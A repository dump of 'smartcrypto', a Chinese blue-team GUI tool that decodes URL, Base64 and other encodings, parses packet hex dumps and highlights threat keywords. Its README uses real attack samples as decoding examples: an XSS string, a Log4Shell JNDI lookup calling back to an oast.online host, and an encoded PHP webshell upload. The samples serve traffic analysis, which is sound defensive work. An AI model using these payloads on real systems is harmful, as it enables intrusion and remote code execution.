├── README.md └── smartcrypto.py /README.md: -------------------------------------------------------------------------------- 1 | # smartcrypto_v1.0 2 | 一键报文解码,HVV,蓝队防守利器 3 | 一键式多功能加解密工具,具有以下特点: 4 | 5 | 1.无需繁琐判断,一键常用全编码解密。 6 | 7 | 2.自动识别需解密部分。 8 | 9 | 3.用户可自定义的恶意代码高亮显示。 10 | 11 | 4.大小写混淆识别。 12 | 13 | 5.对ICMP、UDP报文的解析。 14 | 15 | 6.Windows、Linux、Mac跨平台使用,仅需python3环境。 16 | 17 | 7.工具小巧且功能强大,仅3.4MB。 18 | 19 | 8.代码开源,安全可靠。 20 | 21 | 9.二维码生成功能。 22 | 图片1 23 | 工具运行: 24 | 25 | python 软件安装目录\smartcrypto.py 26 | 27 | 图片2 28 | 29 | 30 | 1.一键常用全编码解密:用户无需判断,系统自动尝试所有可用方法进行解密。配合完善的报错机制,帮助用户快速锁定正确的解密方式。 31 | 32 | 例: 33 | 34 | https%3A%2F%2Fwww.example.com%2Fabout%3Fuser%3Djohn%20doe 35 | 36 | 37 | image 38 | 39 | 40 | 41 | 2.自动识别需解密部分:使用正则表达式自动检测并解密文本中的编码片段。 42 | 43 | 例: 44 | 45 | https://example.com/api?data=ZGF0YSt3aXRoL3NwZWNpYWw/Y2hhcnMmaW49aXQ= 46 | 47 | image 48 | 49 | 50 | 3.用户可自定义的恶意代码高亮显示:用户可以在value.txt文件中添加关键词,使用户拥有自己的恶意代码识别库。系统会在输出结果中高亮显示这些关键词,帮助用户快速识别潜在威胁。 51 | 52 | 例: 53 | 54 | 61 | image 62 | 63 | 64 | 65 | 4.大小写混淆识别:通过正则搜索,增强了对常见绕过安全防护技术的识别能力。 66 | 67 | 例: 68 | 69 | GET /_404_%3E%3Cscript%3EAlERt(1337)%3C%2Fscript%3E useragent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.cr3fnhsgvalhkg6trek0mktqo1urhqifi.oast.online} ///../app.js 70 | 71 | image 72 | 73 | 74 | 帮助用户一键快速解密,并迅速锁定威胁代码。 75 | 76 | 5.对ICMP、UDP报文的解析:能够解析并展示HEX DUMP数据,提供详细的网络协议头部信息(如以太网、IP、ICMP、UDP等)。 77 | 78 | 例1.ICMP ping包: 79 | 80 | 00000000: 00 60 8C D9 72 3B 00 1C 23 4B C1 22 08 00 45 00 .`..r;..#K."..E. 81 | 82 | 00000010: 00 54 1C 46 40 00 40 01 F6 C2 C0 A8 00 68 C0 A8 .T.F@.@......h.. 83 | 84 | 00000020: 00 01 08 00 07 56 00 01 00 4D 61 62 63 64 65 66 .....V...Mabcdef 85 | 86 | 00000030: 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 ghijklmnopqrstuv 87 | 88 | 00000040: 77 78 79 7A 00 00 00 00 00 00 00 00 00 00 wxyz............ 89 | 90 | image 91 | 92 | 93 | 例2.UDP DNS查询报文: 94 | 95 | 00000000: 00 1A A0 9B C3 12 00 1B 21 7B D4 F1 08 00 45 00 ......!.{....E. 96 | 97 | 00000010: 00 32 4A 1C 00 00 80 11 B7 E4 C0 A8 01 0A C0 A8 .2J............. 98 | 99 | 00000020: 01 01 1F 90 00 35 00 1E 5C A2 00 01 01 00 00 01 .....5..\....... 100 | 101 | 00000030: 00 00 00 00 00 00 03 77 77 77 07 65 78 61 6D 70 .......www.exam 102 | 103 | 00000040: 6C 65 03 63 6F 6D 00 00 01 00 01 ple.com..... 104 | 105 | image 106 | 107 | 108 | 6.Windows、Linux、Mac跨平台使用,仅需python3环境。 109 | 110 | 7.工具小巧且功能强大,仅3.4MB。 111 | image 112 | 113 | 8.代码开源,安全可靠。 114 | 115 | 9.二维码生成功能: 116 | 117 | 在输入框输入代码或其他内容,点击生成二维码。 118 | 119 | 方便在某些无网络的情况下传递数据。 120 | 121 | 也可以当成一个有趣的工具,逗女朋友开心^_^。 122 | 123 | 10.复杂的组合操作: 124 | 125 | 例: 126 | 127 | 1[]=xmykh.php&1[]=N3BuZGVhPD9waHAgY2xhc3MgR2FNMTBmQTUgeyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJEg3bXU2KXsgQGV2YWwoIi8qWkc1emtuUmZTayovIi4kSDdtdTYuIiIpOyB9fW5ldyBHYU0xMGZBNSgkX1JFUVVFU1RbJ00nXSk7Pz4%3D&2=$a,$b&3=return var_dump(file_put_contents($b,base64_decode($a))); 128 | 129 | image 130 | 131 | 132 | 说明他是经过URL+BASE64加密的。 133 | 134 | 把URL解密的结果复制,粘贴到输入框二次解密。 135 | 136 | image 137 | 138 | 139 | 这时BASE64和URL安全BASE64都解出来了,对比两者。 140 | 141 | BASE64: 142 | 143 | image 144 | 145 | URL安全BASE64: 146 | 147 | image 148 | 149 | 明显可以看到BASE64有一段解密错误。 150 | 151 | 说明黑客是用URL安全BASE64加密的。 152 | 153 | 通过URL+URL安全BASE64组合解密,我们明显可以看出这是远程代码执行(RCE)。 154 | 155 | 11.另外,还有一些符合用户使用习惯的小功能,例如: 156 | 157 | l双击对应输出框,会自动跳转到详细视图界面,有更大的输出框,方便用户查看解密结果。 158 | 159 | l单击解密,会自动跳转到输出框,方便用户查看全局解密情况。 160 | 161 | l完善的复制粘贴功能,可以用快捷键,可以右键菜单,也可以点击用户界面的按钮。 162 | 163 | l一键清空功能,节约用户时间。 164 | 165 | l左下角状态栏功能,让用户知道“smartcrypto”时刻在忠实执行你的命令。 166 | 167 | 通过这些功能,工具帮助用户轻松进行各类加解密操作,提高了工作效率,并增强了数据分析和网络安全检测的能力。即使对编程和网络安全知识了解不多,也能通过这个工具轻松进行相关操作。 168 | 169 | 联系与支持 170 | 171 | 本工具会一直维护,如需要开发什么新的实用功能或建议,请联系开发者: 172 | 173 | 邮箱:dreamblade123@163.com 174 | 175 | 微信:allen886611 176 | -------------------------------------------------------------------------------- /smartcrypto.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | # 添加当前目录到 Python 路径 5 | current_dir = os.path.dirname(os.path.abspath(__file__)) 6 | sys.path.insert(0, current_dir) 7 | 8 | # 添加 libs 目录到 Python 路径 9 | libs_dir = os.path.join(current_dir, 'libs') 10 | sys.path.insert(0, libs_dir) 11 | 12 | import tkinter as tk 13 | from tkinter import ttk, scrolledtext, filedialog, messagebox 14 | import pyperclip # type: ignore 15 | import qrcode # type: ignore 16 | from PIL import Image, ImageTk # type: ignore 17 | import io 18 | import urllib.parse 19 | import base64 20 | import hashlib 21 | import re 22 | import binascii 23 | import socket 24 | import struct 25 | 26 | class CryptoApp: 27 | def __init__(self, master): 28 | self.master = master 29 | master.title("多功能加解密工具smartcrypto_v1.0 --by dreamblade") 30 | master.geometry("1200x800") 31 | master.configure(bg="#f0f0f0") 32 | 33 | self.create_styles() 34 | self.create_widgets() 35 | self.create_context_menus() 36 | 37 | # 读取关键词列表 38 | self.keywords = self.load_keywords() 39 | 40 | def create_styles(self): 41 | style = ttk.Style() 42 | style.theme_use('clam') 43 | 44 | style.element_create("Custom.Checkbutton.indicator", "from", "default") 45 | style.layout("Custom.TCheckbutton", [ 46 | ('Custom.Checkbutton.indicator', {'side': 'left', 'sticky': ''}), 47 | ('Checkbutton.focus', {'side': 'left', 'sticky': '', 48 | 'children': [('Checkbutton.label', {'sticky': ''})]}) 49 | ]) 50 | style.configure("Custom.TCheckbutton", 51 | indicatorcolor="#ffffff", 52 | indicatorbackground="#ffffff", 53 | font=("Helvetica", 10)) 54 | style.map("Custom.TCheckbutton", 55 | indicatorcolor=[("selected", "#00aa00")], 56 | indicatorbackground=[("selected", "#ffffff")]) 57 | 58 | def create_widgets(self): 59 | main_frame = ttk.Frame(self.master, padding="10") 60 | main_frame.pack(fill=tk.BOTH, expand=True) 61 | 62 | # 状态栏 63 | self.status_bar = ttk.Label(self.master, text="就绪", relief=tk.SUNKEN, anchor=tk.W) 64 | self.status_bar.pack(side=tk.BOTTOM, fill=tk.X) 65 | 66 | main_frame = ttk.Frame(self.master, padding="10") 67 | main_frame.pack(fill=tk.BOTH, expand=True) 68 | 69 | # 输入框 70 | input_frame = ttk.LabelFrame(main_frame, text="输入", padding="5") 71 | input_frame.pack(fill=tk.X, pady=5) 72 | self.input_text = scrolledtext.ScrolledText(input_frame, height=5, font=("Consolas", 11)) 73 | self.input_text.pack(fill=tk.X) 74 | 75 | # 输入操作按钮 76 | input_button_frame = ttk.Frame(main_frame) 77 | input_button_frame.pack(fill=tk.X, pady=5) 78 | ttk.Button(input_button_frame, text="粘贴", command=self.paste_input).pack(side=tk.LEFT, padx=2) 79 | ttk.Button(input_button_frame, text="复制", command=self.copy_input).pack(side=tk.LEFT, padx=2) 80 | ttk.Button(input_button_frame, text="从文件加载", command=self.load_from_file).pack(side=tk.LEFT, padx=2) 81 | ttk.Button(input_button_frame, text="保存到文件", command=self.save_to_file).pack(side=tk.LEFT, padx=2) 82 | 83 | # 主要操作按钮 84 | button_frame = ttk.Frame(main_frame) 85 | button_frame.pack(pady=10) 86 | self.encrypt_button = ttk.Button(button_frame, text="加密", command=self.encrypt) 87 | self.encrypt_button.pack(side=tk.LEFT, padx=5) 88 | self.decrypt_button = ttk.Button(button_frame, text="解密", command=self.decrypt) 89 | self.decrypt_button.pack(side=tk.LEFT, padx=5) 90 | self.clear_button = ttk.Button(button_frame, text="清空", command=self.clear) 91 | self.clear_button.pack(side=tk.LEFT, padx=5) 92 | self.qr_button = ttk.Button(button_frame, text="生成二维码", command=self.generate_qr) 93 | self.qr_button.pack(side=tk.LEFT, padx=5) 94 | 95 | # 加解密方式选择 96 | methods_frame = ttk.LabelFrame(main_frame, text="加解密方式", padding="5") 97 | methods_frame.pack(fill=tk.X, pady=5) 98 | self.methods = ["URL", "Unicode/ASCII", "Unicode/中文", "UTF-8", "16进制", "8进制", "2进制", "BASE64", "URL安全Base64", "MD5", "Hex Dump"] 99 | self.method_vars = [] 100 | for i, method in enumerate(self.methods): 101 | var = tk.BooleanVar(value=True) 102 | chk = ttk.Checkbutton(methods_frame, text=method, variable=var, style="Custom.TCheckbutton") 103 | chk.grid(row=i//5, column=i%5, sticky="w", padx=5, pady=2) 104 | self.method_vars.append(var) 105 | 106 | # Notebook 107 | self.notebook = ttk.Notebook(main_frame) 108 | self.notebook.pack(fill=tk.BOTH, expand=True, pady=5) 109 | 110 | # 输出页 111 | page1 = ttk.Frame(self.notebook) 112 | self.notebook.add(page1, text="输出") 113 | 114 | # 详细视图页 115 | page2 = ttk.Frame(self.notebook) 116 | self.notebook.add(page2, text="详细视图") 117 | self.detail_view = scrolledtext.ScrolledText(page2, height=20, font=("Consolas", 11)) 118 | self.detail_view.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) 119 | 120 | # 输出框 121 | self.output_frames = {} 122 | for i, method in enumerate(self.methods): 123 | frame = ttk.LabelFrame(page1, text=method, padding="2") 124 | frame.grid(row=i//2, column=i%2, sticky="nsew", padx=5, pady=5) 125 | output = scrolledtext.ScrolledText(frame, height=5, font=("Consolas", 10)) 126 | output.pack(fill=tk.BOTH, expand=True) 127 | output.bind("", lambda e, m=method: self.show_detail(m)) 128 | self.output_frames[method] = output 129 | 130 | # 配置网格布局 131 | page1.grid_columnconfigure(0, weight=1) 132 | page1.grid_columnconfigure(1, weight=1) 133 | for i in range(6): 134 | page1.grid_rowconfigure(i, weight=1) 135 | 136 | def create_context_menus(self): 137 | self.input_menu = tk.Menu(self.master, tearoff=0) 138 | self.input_menu.add_command(label="复制", command=self.copy_selected) 139 | self.input_menu.add_command(label="粘贴", command=self.paste_selected) 140 | self.input_menu.add_command(label="剪切", command=self.cut_selected) 141 | self.input_menu.add_separator() 142 | self.input_menu.add_command(label="清空", command=self.clear_selected) 143 | 144 | self.output_menu = tk.Menu(self.master, tearoff=0) 145 | self.output_menu.add_command(label="复制", command=self.copy_selected) 146 | self.output_menu.add_separator() 147 | self.output_menu.add_command(label="清空", command=self.clear_selected) 148 | 149 | self.input_text.bind("", self.show_context_menu) 150 | self.detail_view.bind("", self.show_context_menu) 151 | for output in self.output_frames.values(): 152 | output.bind("", self.show_context_menu) 153 | 154 | def show_context_menu(self, event): 155 | widget = event.widget 156 | if widget == self.input_text: 157 | self.input_menu.tk_popup(event.x_root, event.y_root) 158 | else: 159 | self.output_menu.tk_popup(event.x_root, event.y_root) 160 | 161 | def copy_selected(self): 162 | try: 163 | selected_text = self.master.focus_get().selection_get() 164 | pyperclip.copy(selected_text) 165 | self.status_bar.config(text="已复制选中内容") 166 | except: 167 | self.status_bar.config(text="无法复制:未选中内容") 168 | 169 | def paste_selected(self): 170 | try: 171 | self.master.focus_get().insert(tk.INSERT, pyperclip.paste()) 172 | self.status_bar.config(text="已粘贴内容") 173 | except: 174 | self.status_bar.config(text="无法粘贴:不支持粘贴操作") 175 | 176 | def cut_selected(self): 177 | try: 178 | selected_text = self.master.focus_get().selection_get() 179 | pyperclip.copy(selected_text) 180 | self.master.focus_get().delete(tk.SEL_FIRST, tk.SEL_LAST) 181 | self.status_bar.config(text="已剪切选中内容") 182 | except: 183 | self.status_bar.config(text="无法剪切:未选中内容") 184 | 185 | def clear_selected(self): 186 | try: 187 | self.master.focus_get().delete('1.0', tk.END) 188 | self.status_bar.config(text="已清空内容") 189 | except: 190 | self.status_bar.config(text="无法清空:不支持清空操作") 191 | 192 | def show_detail(self, method): 193 | content = self.output_frames[method].get('1.0', tk.END) 194 | self.detail_view.delete('1.0', tk.END) 195 | self.detail_view.insert(tk.END, f"{method} 详细内容:\n\n") 196 | self.highlight_keywords(content, self.detail_view) 197 | self.notebook.select(1) # 切换到第二页 198 | 199 | def load_keywords(self): 200 | keywords = [] 201 | try: 202 | keywords_path = os.path.join(current_dir, 'value.txt') 203 | with open(keywords_path, 'r', encoding='utf-8') as f: 204 | keywords = [line.strip() for line in f if line.strip()] 205 | except FileNotFoundError: 206 | print("未找到 value.txt 文件,将创建一个空文件。") 207 | with open(keywords_path, 'w', encoding='utf-8') as f: 208 | pass 209 | return keywords 210 | 211 | def highlight_keywords(self, text, output_widget): 212 | output_widget.delete('1.0', tk.END) 213 | output_widget.insert(tk.END, text) 214 | for keyword in self.keywords: 215 | start = '1.0' 216 | while True: 217 | # 使用正则表达式进行不区分大小写的搜索 218 | match = output_widget.search(re.escape(keyword), start, stopindex=tk.END, regexp=True, nocase=True) 219 | if not match: 220 | break 221 | end = output_widget.index(f"{match}+{len(keyword)}c") 222 | output_widget.tag_add('highlight', match, end) 223 | start = end 224 | output_widget.tag_config('highlight', background='yellow', foreground='red') 225 | 226 | def encrypt(self): 227 | input_text = self.input_text.get('1.0', tk.END).strip() 228 | if not input_text: 229 | messagebox.showwarning("警告", "请先输入文本") 230 | return 231 | 232 | for method, var in zip(self.methods, self.method_vars): 233 | if var.get(): 234 | try: 235 | if method == "URL": 236 | result = urllib.parse.quote(input_text, safe='') 237 | elif method == "Unicode/ASCII": 238 | result = ' '.join([str(ord(c)) for c in input_text]) 239 | elif method == "Unicode/中文": 240 | result = ''.join(f"\\u{ord(c):04x}" for c in input_text) 241 | elif method == "UTF-8": 242 | result = ''.join([f'\\x{b:02x}' for b in input_text.encode('utf-8')]) 243 | elif method == "16进制": 244 | result = input_text.encode().hex() 245 | elif method == "8进制": 246 | result = ' '.join([f"{ord(c):03o}" for c in input_text]) 247 | elif method == "2进制": 248 | result = ' '.join([f"{ord(c):08b}" for c in input_text]) 249 | elif method == "BASE64": 250 | result = base64.b64encode(input_text.encode()).decode() 251 | elif method == "URL安全Base64": 252 | result = base64.urlsafe_b64encode(input_text.encode()).decode() 253 | elif method == "MD5": 254 | result = hashlib.md5(input_text.encode()).hexdigest() 255 | elif method == "Hex Dump": 256 | result = self.hex_dump(input_text.encode()) 257 | self.highlight_keywords(result, self.output_frames[method]) 258 | except Exception as e: 259 | self.output_frames[method].delete('1.0', tk.END) 260 | self.output_frames[method].insert(tk.END, f"错误: {str(e)}") 261 | 262 | self.status_bar.config(text="加密完成") 263 | self.notebook.select(0) # 切换到输出页面 264 | 265 | def decrypt(self): 266 | input_text = self.input_text.get('1.0', tk.END).strip() 267 | if not input_text: 268 | messagebox.showwarning("警告", "请先输入文本") 269 | return 270 | 271 | for method, var in zip(self.methods, self.method_vars): 272 | if var.get(): 273 | try: 274 | result = self.partial_decode(input_text, method) 275 | if result == input_text and method != "MD5": 276 | raise ValueError("无法解密") 277 | self.highlight_keywords(result, self.output_frames[method]) 278 | except Exception as e: 279 | self.output_frames[method].delete('1.0', tk.END) 280 | self.output_frames[method].insert(tk.END, f"错误: {str(e)}") 281 | 282 | self.status_bar.config(text="解密完成") 283 | self.notebook.select(0) # 切换到输出页面 284 | 285 | def partial_decode(self, text, method): 286 | if method == "URL": 287 | return urllib.parse.unquote(text) 288 | elif method == "Unicode/ASCII": 289 | return ''.join([chr(int(c)) for c in text.split()]) 290 | elif method == "Unicode/中文": 291 | try: 292 | decoded = text.encode().decode('unicode_escape') 293 | return decoded 294 | except: 295 | raise ValueError("无法解密") 296 | elif method == "UTF-8": 297 | try: 298 | decoded_text = bytes(text, "utf-8").decode("unicode_escape").encode('latin1').decode('utf-8') 299 | return decoded_text 300 | except: 301 | raise ValueError("无法解码") 302 | elif method == "16进制": 303 | return bytes.fromhex(text).decode() 304 | elif method == "8进制": 305 | return ''.join([chr(int(c, 8)) for c in text.split()]) 306 | elif method == "2进制": 307 | return ''.join([chr(int(c, 2)) for c in text.split()]) 308 | elif method == "BASE64": 309 | try: 310 | pattern = r'[A-Za-z0-9+/]{4,}={0,2}' 311 | matches = re.findall(pattern, text) 312 | if not matches: 313 | raise ValueError("未找到有效的Base64编码") 314 | decoded_parts = [] 315 | for match in matches: 316 | try: 317 | decoded = base64.b64decode(match).decode() 318 | decoded_parts.append(decoded) 319 | except: 320 | decoded_parts.append(match) 321 | return re.sub(pattern, lambda m: decoded_parts.pop(0), text) 322 | except Exception as e: 323 | raise ValueError(f"Base64解码错误: {str(e)}") 324 | elif method == "URL安全Base64": 325 | try: 326 | pattern = r'[A-Za-z0-9_-]{4,}={0,2}' 327 | matches = re.findall(pattern, text) 328 | if not matches: 329 | raise ValueError("未找到有效的URL安全Base64编码") 330 | decoded_parts = [] 331 | for match in matches: 332 | try: 333 | decoded = base64.urlsafe_b64decode(match).decode() 334 | decoded_parts.append(decoded) 335 | except: 336 | decoded_parts.append(match) 337 | return re.sub(pattern, lambda m: decoded_parts.pop(0), text) 338 | except Exception as e: 339 | raise ValueError(f"URL安全Base64解码错误: {str(e)}") 340 | elif method == "MD5": 341 | return "MD5 无法解密" 342 | elif method == "Hex Dump": 343 | return self.parse_hex_dump(text) 344 | else: 345 | raise ValueError("未知的解密方法") 346 | 347 | def hex_dump(self, data): 348 | def grouped(iterable, n): 349 | return zip(*[iter(iterable)]*n) 350 | 351 | result = [] 352 | for i, chunk in enumerate(grouped(data, 16)): 353 | hexa = ' '.join([f'{x:02X}' for x in chunk]) 354 | text = ''.join([chr(x) if 32 <= x < 127 else '.' for x in chunk]) 355 | result.append(f'{i*16:08X}: {hexa:<48} {text}') 356 | return '\n'.join(result) 357 | 358 | def parse_hex_dump(self, hex_dump): 359 | lines = hex_dump.strip().split('\n') 360 | output = "" 361 | binary_data = b'' 362 | 363 | for line in lines: 364 | match = re.match(r'([0-9A-Fa-f]+):\s+((?:[0-9A-Fa-f]{2}\s*){1,16})\s*(.{0,16})', line) 365 | if match: 366 | offset, hex_values, ascii_values = match.groups() 367 | hex_bytes = bytes.fromhex(hex_values.replace(' ', '')) 368 | binary_data += hex_bytes 369 | output += f"{line}\n" 370 | 371 | output += "-" * 60 + "\n" 372 | 373 | try: 374 | # 解析以太网头部 375 | if len(binary_data) >= 14: 376 | eth_header = struct.unpack('!6s6s2s', binary_data[:14]) 377 | dst_mac = ':'.join([f'{b:02X}' for b in eth_header[0]]) 378 | src_mac = ':'.join([f'{b:02X}' for b in eth_header[1]]) 379 | eth_type = int.from_bytes(eth_header[2], 'big') 380 | 381 | output += "以太网头部:\n" 382 | output += f"目的MAC地址: {dst_mac}\n" 383 | output += f"源MAC地址: {src_mac}\n" 384 | output += f"以太网类型: 0x{eth_type:04X} ({self.get_ether_type(eth_type)})\n" 385 | output += "-" * 60 + "\n" 386 | 387 | # 解析IP头部 388 | if eth_type == 0x0800 and len(binary_data) >= 34: # IPv4 389 | ip_header = struct.unpack('!BBHHHBBH4s4s', binary_data[14:34]) 390 | 391 | version = ip_header[0] >> 4 392 | ihl = ip_header[0] & 0xF 393 | tos = ip_header[1] 394 | total_length = ip_header[2] 395 | identification = ip_header[3] 396 | flags_and_offset = ip_header[4] 397 | flags = flags_and_offset >> 13 398 | fragment_offset = flags_and_offset & 0x1FFF 399 | ttl = ip_header[5] 400 | protocol = ip_header[6] 401 | header_checksum = ip_header[7] 402 | src_ip = socket.inet_ntoa(ip_header[8]) 403 | dst_ip = socket.inet_ntoa(ip_header[9]) 404 | 405 | output += "IP头部:\n" 406 | output += f"版本: IPv{version}\n" 407 | output += f"头部长度: {ihl*4} 字节\n" 408 | output += f"服务类型: 0x{tos:02X}\n" 409 | output += f"总长度: {total_length} 字节\n" 410 | output += f"标识: 0x{identification:04X}\n" 411 | output += f"{self.get_ip_flags_and_offset(flags, fragment_offset)}\n" 412 | output += f"生存时间: {ttl}\n" 413 | output += f"协议: {self.get_protocol_name(protocol)} ({protocol})\n" 414 | output += f"头部校验和: 0x{header_checksum:04X}\n" 415 | output += f"源IP地址: {src_ip}\n" 416 | output += f"目的IP地址: {dst_ip}\n" 417 | output += "-" * 60 + "\n" 418 | 419 | # 解析ICMP 420 | if protocol == 1 and len(binary_data) >= 42: # ICMP 421 | icmp_header = struct.unpack('!BBHHH', binary_data[34:42]) 422 | icmp_type, icmp_code, icmp_checksum, icmp_id, icmp_seq = icmp_header 423 | 424 | output += "ICMP头部:\n" 425 | output += f"类型: {icmp_type} ({self.get_icmp_type(icmp_type, icmp_code)})\n" 426 | output += f"代码: {icmp_code}\n" 427 | output += f"校验和: 0x{icmp_checksum:04X}\n" 428 | output += f"标识符: {icmp_id}\n" 429 | output += f"序列号: {icmp_seq}\n" 430 | output += "-" * 60 + "\n" 431 | 432 | icmp_data = binary_data[42:] 433 | output += "ICMP数据部分:\n" 434 | for i in range(0, len(icmp_data), 16): 435 | chunk = icmp_data[i:i+16] 436 | output += f"{chunk.hex(' ').upper()}\n" 437 | output += f"ASCII: {self.bytes_to_ascii(icmp_data)}\n" 438 | 439 | # 解析UDP 440 | elif protocol == 17 and len(binary_data) >= 42: # UDP 441 | udp_header = struct.unpack('!HHHH', binary_data[34:42]) 442 | src_port, dst_port, length, checksum = udp_header 443 | 444 | output += "UDP头部:\n" 445 | output += f"源端口: {src_port}\n" 446 | output += f"目的端口: {dst_port}\n" 447 | output += f"长度: {length}\n" 448 | output += f"校验和: 0x{checksum:04X}\n" 449 | output += "-" * 60 + "\n" 450 | 451 | udp_data = binary_data[42:] 452 | output += "UDP数据部分:\n" 453 | for i in range(0, len(udp_data), 16): 454 | chunk = udp_data[i:i+16] 455 | output += f"{chunk.hex(' ').upper()}\n" 456 | output += f"ASCII: {self.bytes_to_ascii(udp_data)}\n" 457 | 458 | except Exception as e: 459 | output += f"解析错误: {str(e)}\n" 460 | 461 | return output 462 | 463 | def get_ether_type(self, eth_type): 464 | ether_types = {0x0800: "IPv4", 0x0806: "ARP", 0x86DD: "IPv6"} 465 | return ether_types.get(eth_type, f"未知 (0x{eth_type:04X})") 466 | 467 | def get_ip_flags_and_offset(self, flags, offset): 468 | flag_str = "" 469 | if flags & 4: 470 | flag_str += "Reserved " 471 | if flags & 2: 472 | flag_str += "Don't Fragment " 473 | if flags & 1: 474 | flag_str += "More Fragments " 475 | return f"标志 = {flag_str.strip()},片偏移 = {offset}" 476 | 477 | def get_protocol_name(self, protocol): 478 | protocols = {1: "ICMP", 6: "TCP", 17: "UDP"} 479 | return protocols.get(protocol, f"未知协议 ({protocol})") 480 | 481 | def get_icmp_type(self, icmp_type, icmp_code): 482 | icmp_types = { 483 | 0: "Echo Reply", 484 | 3: "Destination Unreachable", 485 | 5: "Redirect", 486 | 8: "Echo Request", 487 | 11: "Time Exceeded", 488 | } 489 | return icmp_types.get(icmp_type, f"未知ICMP类型 (类型: {icmp_type}, 代码: {icmp_code})") 490 | 491 | def bytes_to_ascii(self, data): 492 | return ''.join([chr(b) if 32 <= b <= 126 else '.' for b in data]) 493 | 494 | def clear(self): 495 | self.input_text.delete('1.0', tk.END) 496 | for output in self.output_frames.values(): 497 | output.delete('1.0', tk.END) 498 | self.detail_view.delete('1.0', tk.END) 499 | self.status_bar.config(text="已清空所有内容") 500 | 501 | def paste_input(self): 502 | self.input_text.delete('1.0', tk.END) 503 | self.input_text.insert(tk.END, pyperclip.paste()) 504 | self.status_bar.config(text="已粘贴内容到输入框") 505 | 506 | def copy_input(self): 507 | pyperclip.copy(self.input_text.get('1.0', tk.END).strip()) 508 | self.status_bar.config(text="已复制输入框内容") 509 | 510 | def load_from_file(self): 511 | file_path = filedialog.askopenfilename() 512 | if file_path: 513 | with open(file_path, 'r', encoding='utf-8') as file: 514 | content = file.read() 515 | self.input_text.delete('1.0', tk.END) 516 | self.input_text.insert(tk.END, content) 517 | self.status_bar.config(text=f"已从文件加载内容: {file_path}") 518 | 519 | def save_to_file(self): 520 | file_path = filedialog.asksaveasfilename(defaultextension=".txt") 521 | if file_path: 522 | with open(file_path, 'w', encoding='utf-8') as file: 523 | input_content = self.input_text.get('1.0', tk.END).strip() 524 | detail_content = self.detail_view.get('1.0', tk.END).strip() 525 | file.write(f"{input_content}\n\n{'='*50}\n\n{detail_content}") 526 | self.status_bar.config(text=f"已保存内容到文件: {file_path}") 527 | 528 | def generate_qr(self): 529 | input_text = self.input_text.get('1.0', tk.END).strip() 530 | if not input_text: 531 | messagebox.showwarning("警告", "请先输入文本") 532 | return 533 | qr = qrcode.QRCode(version=1, box_size=10, border=5) 534 | qr.add_data(input_text) 535 | qr.make(fit=True) 536 | img = qr.make_image(fill_color="black", back_color="white") 537 | 538 | buffer = io.BytesIO() 539 | img.save(buffer, format="PNG") 540 | photo = ImageTk.PhotoImage(Image.open(buffer)) 541 | 542 | top = tk.Toplevel(self.master) 543 | top.title("二维码") 544 | label = ttk.Label(top, image=photo) 545 | label.image = photo 546 | label.pack() 547 | self.status_bar.config(text="已生成二维码") 548 | 549 | def main(): 550 | root = tk.Tk() 551 | app = CryptoApp(root) 552 | root.mainloop() 553 | 554 | if __name__ == "__main__": 555 | main() --------------------------------------------------------------------------------